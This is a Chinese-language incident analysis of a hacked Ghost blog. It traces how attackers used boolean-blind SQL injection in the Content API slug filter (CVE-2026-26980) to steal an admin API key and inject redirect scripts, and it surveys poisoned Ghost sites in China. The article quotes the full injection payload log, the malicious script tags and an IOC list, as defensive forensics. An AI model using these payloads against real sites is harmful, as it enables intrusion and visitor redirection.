10 月 25 日上午,笔者收到朋友反馈,说本站的《OPUS:心相吾山》测评文章打开时会出现问题:先是弹出绿色的加载条,过几秒之后显示“链接参数无效”,很像是被植入了恶意代码。现场情况如下。
笔者发现确有其事,然而当时没带电脑,只好先用阿里云手机 APP 关闭服务器、保存硬盘快照。当天晚上分析了一番,发现那篇文章被注入了 3 条恶意 js:
<script src="//apple99[.]cc/nmvah/maosu/6.js"></script>
<script src="//apple99[.]cc/nmvah/maosu/6.js"></script>
<script src="//apple99[.]cc/nmvah/maosu/6.js"></script>
显然笔者的博客已被骇入。本文将讨论两个主题:本站是如何被骇入的;攻击者对全网 Ghost 博客做了什么。
0x00 本站被骇入之始末
本站是 Ghost 博客,用 docker 运行在阿里云 VPS 上。2020 年建站至今,笔者印象中更新版本仅 3 次,最近的一次是 2022 年更新到 5.8.2。换句话说,本站的 Ghost 有四年未曾更新了。身为安全研究员,如此懒散确实不应该;然而笔者也有若干苦衷。
近年来,Ghost 在商业化的道路上狂飙,引入了邮件订阅、付费 member 等大量功能,这些垃圾功能会影响界面,需要笔者动手裁剪掉,非常麻烦。而且,裁剪上述功能是需要改 ui 主题甚至改 js 代码的,改得越多,下次更新越可能不兼容,于是下次更新负担又更重。另外,笔者去年也想过从 v5 更新到 v6 大版本,然而 v6 不再支持 SQLite 数据库,必须迁移到 mysql,自动迁移失败了,笔者也不知道为什么。于是版本升级一直搁置,直到本次事发。
本站几乎是只读站(评论功能是委托给 Github issue 实现的),所以攻击者想要往页面注入内容,就一定要拿到管理员权限、请求管理员接口(也就是 /ghost/)。我们从 nginx 日志里拖出所有的 /ghost/ 访问:

由于 Ghost 运行在容器内、nginx 运行在外层宿主机,所以如果攻击者没有逃逸 docker,则 nginx 日志就是可信的。
攻击者的请求里面有一个常量 595acd8f13c14d79a10527399d,这是 Zapier Integration 的 api key。它是 Ghost 官方自带的集成,用于实现“发博客之后自动转发到 facebook”等功能。我们来看攻击者是如何使用这个 api key 的:
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&limit=1&fields=slug 200 126
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN 1=1 THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak] 500 660
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN 1=0 THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak] 200 29631
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&limit=1&fields=slug 200 126
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN 1=0 THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak] 200 29631
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN 1=1 THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak] 500 660
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN (LENGTH((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1)) <= 100) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak] 500 914
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN (LENGTH((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1)) <= 50) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak] 500 912
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN (LENGTH((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1)) <= 25) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak] 500 912
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN (LENGTH((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1)) <= 13) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak] 200 29631
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN (LENGTH((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1)) <= 19) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak] 200 29631
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN (LENGTH((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1)) <= 22) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak] 200 29631
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN (LENGTH((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1)) <= 24) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak] 500 912
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN (LENGTH((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1)) <= 23) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak] 200 29631
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN ((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1) < (CHAR(80))) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak] 500 910
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN ((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1) < (CHAR(56))) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak] 500 910
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN ((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1) < (CHAR(44))) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak] 200 29631
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN ((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1) < (CHAR(50))) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak] 200 29631
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN ((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1) < (CHAR(53))) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak] 200 29631
显然是布尔盲注。查阅资料,得知这个漏洞是 CVE-2026-26980,Reddit 上有用户报告了相同的被骇入情况。原始漏洞报告语焉不详,只提到跟 slug:[ 有关,好在 Github 上有研究者放出了 PoC。当攻击者请求 /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...] 时,slug 参数会被拼接进查询条件中,于是形成布尔盲注。
读者可能会好奇攻击者怎么能知道 Zapier 的 Content API Key。实际上,根据业务需要,它是公开的,从首页的 HTML 中就能读出来:

攻击者通过布尔盲注,拿到 Zapier 集成的 admin api key。这个 key 可以做很多事,包括读写全站文章、修改 tag、修改主题等,但是不能 RCE。
攻击者从 2026/10/12 23:35:37 开始盲注,到 2026/10/12 23:48:02 注入完成,接着发了两个请求:
GET /ghost/api/admin/posts/?filter=status:published&limit=1&fields=id,slug,title,updated_at,mobiledoc,lexical
PUT /ghost/api/admin/posts/6a76da6096374c00011a1876/
其中,6a76da6096374c00011a1876 正是《心相吾山》评测文章的 id。攻击者改写了该文章内容,注入恶意 js 代码。从 10 月 12 日到 25 日,该页面共有 258 位访客受到影响(每个 IP 视为一名独立访客)。
前文提到,《心相吾山》文章被重复注入了 3 次恶意 js。这是因为,攻击者一共实施了两次攻击、做了三次 PUT。我们可以整理出时间线:
| 时间 | 行为 | 源 IP |
|---|---|---|
| 10-12 22:28:05~23:35:34 | 漏洞探测,确定存在 CVE-2026-26980 | 39.144.182.155 |
| 10-12 23:35:39~23:48:02 | SQL 盲注获取 admin api key | 39.144.182.155 |
| 10-12 23:48:02 | 验证窃取的 admin api key 有效 | 39.144.182.155 |
| 10-12 23:48:03 | PUT api 写入恶意 js | 39.144.182.155 |
| 10-13 00:17、02:15 | 访问页面,验证恶意 js 已写入文章 | 39.144.182.155 |
| 10-23 02:50:57~03:02:53 | 再次漏洞探测 | 39.144.182.187 |
| 10-23 03:02:56~03:39:33 | 再次 SQL 盲注获取 admin api key | 39.144.182.187 |
| 10-23 03:25:04 | 此时 api key 尚未提取完,攻击者验证 10-12 窃取的 api key 有效 | 39.144.182.187 |
| 10-23 03:25:06 | 第二次 PUT api 写入恶意 js | 39.144.182.187 |
| 10-23 03:39:33 | 本轮 SQL 注入完成,第三次 PUT api 写入恶意 js | 39.144.182.187 |
| 10-23 04:24:22 | 访问页面,验证恶意 js 已写入 OPUS 评测文章 | 39.144.182.187 |
核查 Ghost 审计日志,确认 10 月仅发生了以下三次内容变更,均为 Zapier 集成所为:
2026-10-23 03:39:33 edited post 《OPUS:心相吾山》评测:从外向内的自我探寻 integration
2026-10-23 03:25:06 edited post 《OPUS:心相吾山》评测:从外向内的自我探寻 integration
2026-10-12 23:48:03 edited post 《OPUS:心相吾山》评测:从外向内的自我探寻 integration
其他日志未见异常记录。到此为止,本站自身被骇入的过程已经明确。至于恶意跳转后的情况,笔者也略微分析了一下,大致是诱导下载 APP。
0x01 宏观攻击事件调查
Ghost 是市占率颇高的 CMS 系统,除了个人博客用途之外,还有大量的组织用 Ghost 发布内容。从本站所受的攻击来看,10 月 12 日 23:48:02 被窃取 admin api key,一秒钟之后即写入恶意 js,说明攻击已经自动化。因此,本轮攻击的受害网站不可能仅限于本站。
鉴于网上暂且没有对此次事件的分析(截止 10 月 29 日,apple99[.]cc 都未被微步情报中心视为恶意域名),笔者来做一次系统性的调查。由于恶意网站本身采用简体中文,故攻击是面向国内用户的,所以我们这次也只关心国内网站。
通过 fofa 查询 app="Ghost" && country="CN",可查到 4345 条结果、1086 个独立 IP:

接下来爬取这 4345 个网站。这些网站里很多都访问不上,另有一些网站实质上并非 Ghost。一些 Ghost 网站同时监听了多个端口、一些是 www.xxx.com 与 xxx.com 域名指向同一个网站。做好筛选和聚合之后,剩余 696 个站点能确认是 Ghost、能访问到最新一篇文章。分析可知:
- 135 个站点被投毒到 apple99[.]cc。其中,27 个站点是全站被投毒。
- 33 个站点被投毒到 yan[.]wuyagg[.]xyz。其中,20 个站点是全站被投毒。
- 合计 152 个站被投毒,占国内 696 个 Ghost 站点的 21.8%。
至于具体的恶意 js 文件,见下表所示。
| 脚本 | 全站投毒 | 文章投毒 |
|---|---|---|
| apple99[.]cc/nmvah/maosu/6.js | 27 | 135 |
| yan[.]wuyagg[.]xyz/hz.js | 8 | 21 |
| yan[.]wuyagg[.]xyz/page.js | 7 | 6 |
| yan[.]wuyagg[.]xyz/jiji.js | 6 | 6 |
笔者认为 yan[.]wuyagg[.]xyz 投毒与 apple99[.]cc 投毒是同一攻击者所为,因为攻击手法类似,都是跳转到外部网页,都是一部分网站被全站投毒、另一部分网站仅文章投毒。另外,对于那些同时被二者投毒的 16 个网站,全部是仅文章被投毒。

观察被投毒的站点,它们当前的 Ghost 版本介于 5.1 到 6.72 之间,152 个被投毒站点中有 150 个站点 ≤ 6.19.0(即 CVE-2026-26980 影响范围)。剩余的 2 个站点推测是先被攻击、后升级版本。
| 版本范围 | 国内站点数量 | 被投毒数量 | 该版本范围内 Ghost 站点被投毒比例 |
|---|---|---|---|
| 0.x | 32 | 0 | 0 |
| 1.x | 12 | 0 | 0 |
| 2.x | 25 | 0 | 0 |
| 3.x | 33 | 0 | 0 |
| 4.x | 60 | 0 | 0 |
| 5.x | 230 | 126 | 54.8% |
| 6.0 ~ 6.19.0 | 45 | 24 | 53.3% |
| > 6.19.0 | 259 | 2 | 0.8% |
表中可知,Ghost 5.x 的站点高达 54.8% 被投毒;Ghost 6.0 ~ 6.19.0 的站点有 53.3% 被投毒,可见本次攻击范围之广。
攻击者如何决定哪些站点要全站投毒、哪些站点仅投毒文章?笔者无法判断。能收集到的指标,比如 Ghost 版本号、IP 在境内还是境外,似乎都与“全站是否被投毒”之间没有统计学关系。举个例子,42.200.84.0/24 网段内有 18 个 Ghost 站,其中 16 个被投毒,8 个是全站投毒,8 个只投毒文章。显然攻击者不是看 IP 决定是否投毒全站的。
那么,对于仅投毒文章的站点,攻击者会投毒多少篇文章?笔者作了三个假设:一是攻击者会投毒某个时间点之后的文章;二是攻击者投毒固定比例的文章;三是攻击者投毒数量与 Ghost 版本有关。调查之后,这些假设都被否定,我们仍然不知道攻击者的决策方式,只知道攻击者总是投毒站点中最新的那些文章。如下图所示,大部分的站点都是仅被投毒一篇文章,也有站点被投毒了 51 篇。
为避免继续被 Ghost 漏洞攻击,笔者已经在 agent 的帮助下将本站静态化。下一篇文章将描述相关经验。
最后,给出本次攻击的 IOC 清单,建议安全运营人士拉黑:
apple99[.]cc
yan[.]wuyagg[.]xyz
1[.]oeae4[.]com
*[.]initll[.]com
apple-3[.]oss-cn-hongkong[.]aliyuncs[.]com